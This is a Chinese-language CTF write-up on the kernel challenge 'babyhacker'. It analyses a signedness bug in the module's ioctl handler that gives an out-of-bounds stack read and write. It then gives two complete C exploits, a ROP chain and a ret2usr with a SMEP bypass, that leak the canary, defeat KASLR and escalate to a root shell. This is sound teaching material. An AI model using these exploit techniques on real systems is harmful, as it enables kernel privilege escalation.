目錄
  1. 1. 前言
  2. 2. babyhacker
    1. 2.1. 分析
    2. 2.2. 寻找gadget
    3. 2.3. 动态调试
    4. 2.4. exp1(ROP)
    5. 2.5. exp2(ret2usr)
kernel pwn(one)

前言

是时候学习一下内核pwn了,内核pwn涉及内核以及文件系统的编译,这些类容留到以后再讲,这里先通过几道例题直观感受一下内核pwn。

babyhacker

分析

题目附件

1
2
3
4
5
6
➜  babyhacker tree -L 1       
.
├── babyhacker.ko
├── bzImage
├── initramfs.cpio
├── startvm.sh

查看启动脚本starvm.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

#stty intr ^]
#cd `dirname $0`
#timeout --foreground 15
qemu-system-x86_64 \
-m 512M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-s \
-initrd initramfs.cpio \
-smp cores=2,threads=4 \
-cpu qemu64,smep,smap 2>/dev/null

开启了kaslr、smep、smap,本地调试可以去掉timeout和添加-s

1
2
3
➜  babyhacker qemu-system-x86_64 --help |grep gdb
-gdb dev wait for gdb connection on 'dev'
-s shorthand for -gdb tcp::1234

提取vmlinux,利用extract-vmlinux

1
./extract-vmlinx babyhacker/bzImage > babyhacker/vmlinux

提取文件系统

1
2
3
4
➜  babyhacker mkdir core 
➜ babyhacker cd core
➜ core mv ../initramfs.cpio ./
➜ core cpio -idm < initramfs.cpio

查看init发现是空的,于是查看/etc/init.d/rcS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
➜  core bat etc/init.d/rcS                             
───────┬─────────────────────────────────────────────────────────────────────────────
│ File: etc/init.d/rcS
───────┼─────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │
3 │ mount -t proc none /proc
4 │ mount -t devtmpfs none /dev
5 │ mkdir /dev/pts
6 │ mount /dev/pts
7 │
8 │ insmod /home/pwn/babyhacker.ko
9 │ chmod 644 /dev/babyhacker
10 │ echo 0 > /proc/sys/kernel/dmesg_restrict
11 │ echo 0 > /proc/sys/kernel/kptr_restrict
12 │
13 │ cd /home/pwn
14 │ chown -R root /flag
15 │ chmod 400 /flag
16 │
17 │
18 │ chown -R 1000:1000 .
19 │ setsid cttyhack setuidgid 1000 sh
20 │
21 │ umount /proc
22 │ poweroff -f
───────┴─────────────────────────────────────────────────────────────────────────────

可以看到添加了内核模块babyhacker.ko,其中dmesg_restrict = 0表示可以直接查看/proc/kallsymskptr_restrict=0时,lsmod会直接打印内核地址

1
2
3
4
5
6
7
8
9
10
~ $ lsmod
babyhacker 2104 0 - Live 0xffffffffc0093000 (OE)
~ $ cat /proc/kallsyms |grep commit_creds
ffffffff8e2a1430 T commit_creds
ffffffff8ef73ac0 R __ksymtab_commit_creds
ffffffff8ef939e4 r __kstrtab_commit_creds
~ $ cat /proc/kallsyms |grep prepare_kernel_cred
ffffffff8e2a1820 T prepare_kernel_cred
ffffffff8ef7c5b0 R __ksymtab_prepare_kernel_cred
ffffffff8ef939a8 r __kstrtab_prepare_kernel_cred

checksec vmlinux,raw_vmlinux_base = 0xffffffff81000000

1
2
3
4
5
6
7
8
➜  babyhacker checksec vmlinux
[*] '/home/kangel/pwn/kernel/babyhacker/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments

checksec babyhacker.ko,开启了canary

1
2
3
4
5
6
7
➜  babyhacker checksec babyhacker.ko
[*] '/home/kangel/pwn/kernel/babyhacker/babyhacker.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

ida查看babyhacker.ko

查看fop结构体

1
2
3
4
5
.data:0000000000000280 fops            file_operations <offset __this_module, 0, 0, 0, 0, 0, 0, 0, \
.data:0000000000000280 ; DATA XREF: .data:misc↑o
.data:0000000000000280 offset babyhacker_ioctl, 0, 0, 0, 0, 0, 0, 0, 0, 0, \
.data:0000000000000280 0, 0, 0, 0, 0, 0, 0, 0, 0>
.data:0000000000000280 _data ends

发现只定义了babyhacker_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall babyhacker_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rbp
file *rdx1; // rdx
signed __int16 v5; // di
int v4[80]; // [rsp+0h] [rbp-150h]
unsigned __int64 v8; // [rsp+140h] [rbp-10h]
__int64 v9; // [rsp+148h] [rbp-8h]

_fentry__(file, cmd, arg);
v9 = v3;
v5 = (signed __int16)rdx1;
v8 = __readgsqword(0x28u);
switch ( cmd )
{
case 0x30001u:
babyhacker_ioctl_0(rdx1, 0x30001u, (unsigned __int64)rdx1); //写入栈
break;
case 0x30002u:
copy_to_user(rdx1, v4, buffersize); //读出栈
break;
case 0x30000u:
if ( (signed int)rdx1 >= 11 )
v5 = 10;
buffersize = v5; //设置size
break;
}
return 0LL;
}

64位传参顺序:rdi、rsi、rdx、rcx、r8、r9,然后是栈。这里的rdx1即ioctl的第三个参数

可以看到,当rdx1为负数时,buffersize = v5为rdx1的低两字节可以达到0xffff,于是造成了对栈的越界读写,我们可以泄露canary然后rop

寻找gadget

首先把vmlinux的gadgets输出到文件

1
➜  babyhacker ROPgadget --binary ./vmlinux > gadgets

查找想要的gadget

1
2
➜  babyhacker cat gadgets |grep ": pop rdx ; ret$"
0xffffffff81083f22 : pop rdx ; ret

动态调试

poc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_buffersize(int fd, int idx)
{
printf("[*]set buffersize to %d\n",idx);
ioctl(fd, 0x30000, idx);
}

void baby_read(int fd, char *buf)
{
printf("[*]read to buf.");
ioctl(fd, 0x30002, buf);
}

void baby_write(int fd, char *buf)
{
printf("[*]copy from user.");
ioctl(fd,0x30001, buf);
}

int main()
{
save_status();
int fd = open("/dev/babyhacker",O_RDONLY); //注意这里只能读
if(fd < 0)
{
puts("[*]open /dev/babyhacker error!");
exit(0);
}

getchar();
set_buffersize(fd, 0x80000200);

char buf[0x200] = {0};
baby_read(fd, buf);
size_t canary = ((size_t *)buf)[40];
printf("[+]canary: %p\n", canary);
getchar();
return 0;
}

然后编译打包

1
2
3
4
5
6
7
8
9
➜  babyhacker gcc poc.c -static -masm=intel -g -o poc    
poc.c: In function ‘main’:
poc.c:56:9: warning: format ‘%p’ expects argument of type ‘void *’]
printf("[+]canary: %p\n", canary);
^
➜ babyhacker mv poc core/home/pwn
➜ babyhacker cd core
➜ core find . | cpio -o --format=newc > ../initramfs.cpio
15405 块

进行调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  babyhacker gdb ./vmlinux -q                       
pwndbg: loaded 181 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with prin)
Reading symbols from ./vmlinux...(no debugging symbols found)...do.
pwndbg> add-symbol-file babyhacker.ko 0xffffffffc02ff000
add symbol table from file "babyhacker.ko" at
.text_addr = 0xffffffffc0093000
Reading symbols from babyhacker.ko...done.
pwndbg> b *0xffffffffc02ff000+0x50
Breakpoint 1 at 0xffffffffc0093050: file /home/zoe/Desktop/kernel_.
pwndbg> target remote :1234
Remote debugging using :1234
0xffffffff8e263656 in ?? ()
...
pwndbg> c
Continuing.

结果如下:

exp1(ROP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
// gcc exp.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t commit_creds = 0xffffffff810a1430;
size_t prepare_kernel_cred = 0xffffffff810a1820;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_buffersize(int fd, int idx)
{
printf("[*]set buffersize to %d\n",idx);
ioctl(fd, 0x30000, idx);
}

void baby_read(int fd, char *buf)
{
printf("[*]read to buf.\n");
ioctl(fd, 0x30002, buf);
printf("[+]read to buf success!\n");
}

void baby_write(int fd, char *buf)
{
printf("[*]copy from user.\n");
ioctl(fd,0x30001, buf);
printf("[+]copy from user success!\n");
}

int main()
{
save_status();
int fd = open("/dev/babyhacker", O_RDONLY);
if(fd < 0)
{
puts("[*]open /dev/babyhacker error!");
exit(0);
}

set_buffersize(fd, 0x80000200);

char buf[0x200] = {0};
baby_read(fd, buf);
size_t offset = ((size_t *)buf)[8] - 0xc2d84 - raw_vmlinux_base;
printf("[+]offset: %p\n", offset);
size_t canary = ((size_t *)buf)[40];
printf("[+]canary: %p\n", canary);
commit_creds += offset;
printf("[+]commit_creds: %p\n", commit_creds);
prepare_kernel_cred += offset;
printf("[+]prepare_kernel_cred: %p\n", prepare_kernel_cred);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 42;i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff8109054d + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff81083f22 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81006ffc + offset; // pop rcx; ret
rop[i++] = 0xffffffff810def79 + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff810636b4 + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81478294 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
baby_write(fd, rop);
return 0;
}

结果如下

exp2(ret2usr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds =0xffffffff810a1430;
_prepare_kernel_cred prepare_kernel_cred =0xffffffff810a1820;
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

/* size_t commit_creds = 0xffffffff810a1430; */
/* size_t prepare_kernel_cred = 0xffffffff810a1820; */
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_buffersize(int fd, int idx)
{
printf("[*]set buffersize to %d\n",idx);
ioctl(fd, 0x30000, idx);
}

void baby_read(int fd, char *buf)
{
printf("[*]read to buf.\n");
ioctl(fd, 0x30002, buf);
printf("[+]read to buf success!\n");
}

void baby_write(int fd, char *buf)
{
printf("[*]copy from user.\n");
ioctl(fd,0x30001, buf);
printf("[+]copy from user success!\n");
}

void get_root()
{
commit_creds(prepare_kernel_cred(0));
}

int main()
{
save_status();
int fd = open("/dev/babyhacker", O_RDONLY);
if(fd < 0)
{
puts("[*]open /dev/babyhacker error!");
exit(0);
}

set_buffersize(fd, 0x80000200);

char buf[0x200] = {0};
baby_read(fd, buf);
size_t offset = ((size_t *)buf)[8] - 0xc2d84 - raw_vmlinux_base;
printf("[+]offset: %p\n", offset);
size_t canary = ((size_t *)buf)[40];
printf("[+]canary: %p\n", canary);
commit_creds += offset;
printf("[+]commit_creds: %p\n", commit_creds);
prepare_kernel_cred += offset;
printf("[+]prepare_kernel_cred: %p\n", prepare_kernel_cred);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 42;i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff8109054d + offset; // pop rdi; ret
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d70 + offset; //mov_rc4_pop_ret
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff810636b4 + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81478294 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
baby_write(fd, rop);
return 0;
}

结果如下:

文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/04/16/kernel-pwn-one/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL